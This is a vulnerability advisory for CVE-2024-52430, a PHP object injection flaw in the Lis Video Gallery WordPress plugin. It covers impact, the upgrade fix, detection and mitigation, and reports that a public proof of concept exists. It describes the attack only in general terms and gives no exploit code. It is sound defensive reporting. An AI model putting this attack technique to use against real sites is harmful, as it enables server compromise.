CVE-2024-52430
Overview
This vulnerability is a deserialization of untrusted data flaw rooted in insecure handling of serialized PHP objects within the Lis Video Gallery WordPress plugin. The core issue arises from the plugin's failure to validate or sanitize input before deserializing data, which enables object injection attacks. The affected component is the Lis Video Gallery plugin versions up to and including 0.2.1, which processes untrusted serialized data without integrity checks.
Vulnerability Description
Deserialization of Untrusted Data vulnerability in bublick Lis Video Gallery lis-video-gallery allows Object Injection.This issue affects Lis Video Gallery: from n/a through <= 0.2.1.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary PHP code on the affected server, resulting in full system compromise. This can lead to unauthorized access to sensitive data, modification or deletion of content, and persistent backdoor installation. Since no authentication or user interaction is required, exploitation can be automated and remotely executed, severely impacting the confidentiality, integrity, and availability of the WordPress environment hosting the plugin.
Solution
Users should upgrade the Lis Video Gallery WordPress plugin to a version later than 0.2.1 where this vulnerability is addressed. The Patchstack advisory for the Lis Video Gallery plugin provides detailed patch instructions and can be found at https://patchstack.com/database/Wordpress/Plugin/lis-video-gallery/vulnerability/wordpress-lis-video-gallery-plugin-0-2-1-php-object-injection-vulnerability?_s_id=cve. Applying the vendor-supplied update is the recommended remediation to eliminate the insecure deserialization flaw.

Full Analysis
The vulnerability present in the Lis Video Gallery plugin for WordPress is characterized by the deserialization of untrusted data, which allows for object injection. This issue arises from the improper handling of serialized data, enabling an attacker to craft malicious input that can be deserialized by the application. When the application processes this untrusted data, it can lead to the instantiation of arbitrary objects, potentially allowing an attacker to execute code or manipulate application behavior. The affected versions of the plugin, specifically those up to and including 0.2.1, are particularly susceptible due to their failure to validate or sanitize incoming serialized data properly.
Attack vectors for this vulnerability are varied and can be executed through several means. An attacker could exploit this flaw by sending specially crafted requests to the server that hosts the vulnerable plugin. These requests may include payloads designed to manipulate the deserialization process, leading to unauthorized access or control over the application. For instance, an attacker could inject malicious PHP objects that, when deserialized, execute arbitrary code on the server. This could be achieved through various channels, such as web forms, API endpoints, or even through direct database manipulation if the application is not adequately secured against such inputs.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on the Lis Video Gallery plugin for their WordPress sites. Given the high CVSS score of 9.8, the potential for severe exploitation is evident. Successful exploitation could lead to a complete compromise of the affected WordPress instance, allowing attackers to access sensitive data, deface websites, or deploy additional malware. The business risks associated with such an incident include financial loss, reputational damage, and potential legal ramifications, especially if customer data is exposed. Organizations could also face downtime as they work to remediate the issue, further impacting their operations and customer trust.
To detect this vulnerability, organizations should implement robust monitoring and logging mechanisms to identify unusual patterns of behavior that may indicate exploitation attempts. Regular security assessments, including penetration testing and code reviews, can also help in identifying and mitigating such vulnerabilities before they can be exploited. Additionally, employing web application firewalls (WAFs) can provide an extra layer of defense by filtering out malicious requests that may attempt to exploit the deserialization flaw.
Mitigation strategies for this vulnerability should focus on updating the affected plugin to a version that addresses the deserialization issue. It is crucial for organizations to maintain an up-to-date inventory of their software and plugins, ensuring that they apply patches and updates promptly. Furthermore, developers should adopt secure coding practices, such as validating and sanitizing all user inputs, to prevent similar vulnerabilities in the future. By taking these proactive measures, organizations can significantly reduce their risk exposure and protect their digital assets from potential exploitation.
CSURFACE threat intelligence has identified a significant development in the exploitation landscape of CVE-2024-52430. A new public proof-of-concept exploit has surfaced on GitHub, marking the first known instance of active exploitation tools available for this vulnerability. This emergence corresponds with a substantial increase in the EPSS score to 0.3211, placing it near the top percentile for exploitation likelihood. Our telemetry indicates this shift reflects growing attacker interest and capability to weaponize the deserialization flaw in the bublick Lis Video Gallery plugin. Consequently, the threat level has escalated from theoretical to imminent, elevating the urgency for defenders to recognize this vulnerability as a critical and actively targeted risk. The availability of unauthenticated PHP object injection exploits notably lowers the barrier for exploitation, increasing the potential attack surface and likelihood of compromise in affected environments.
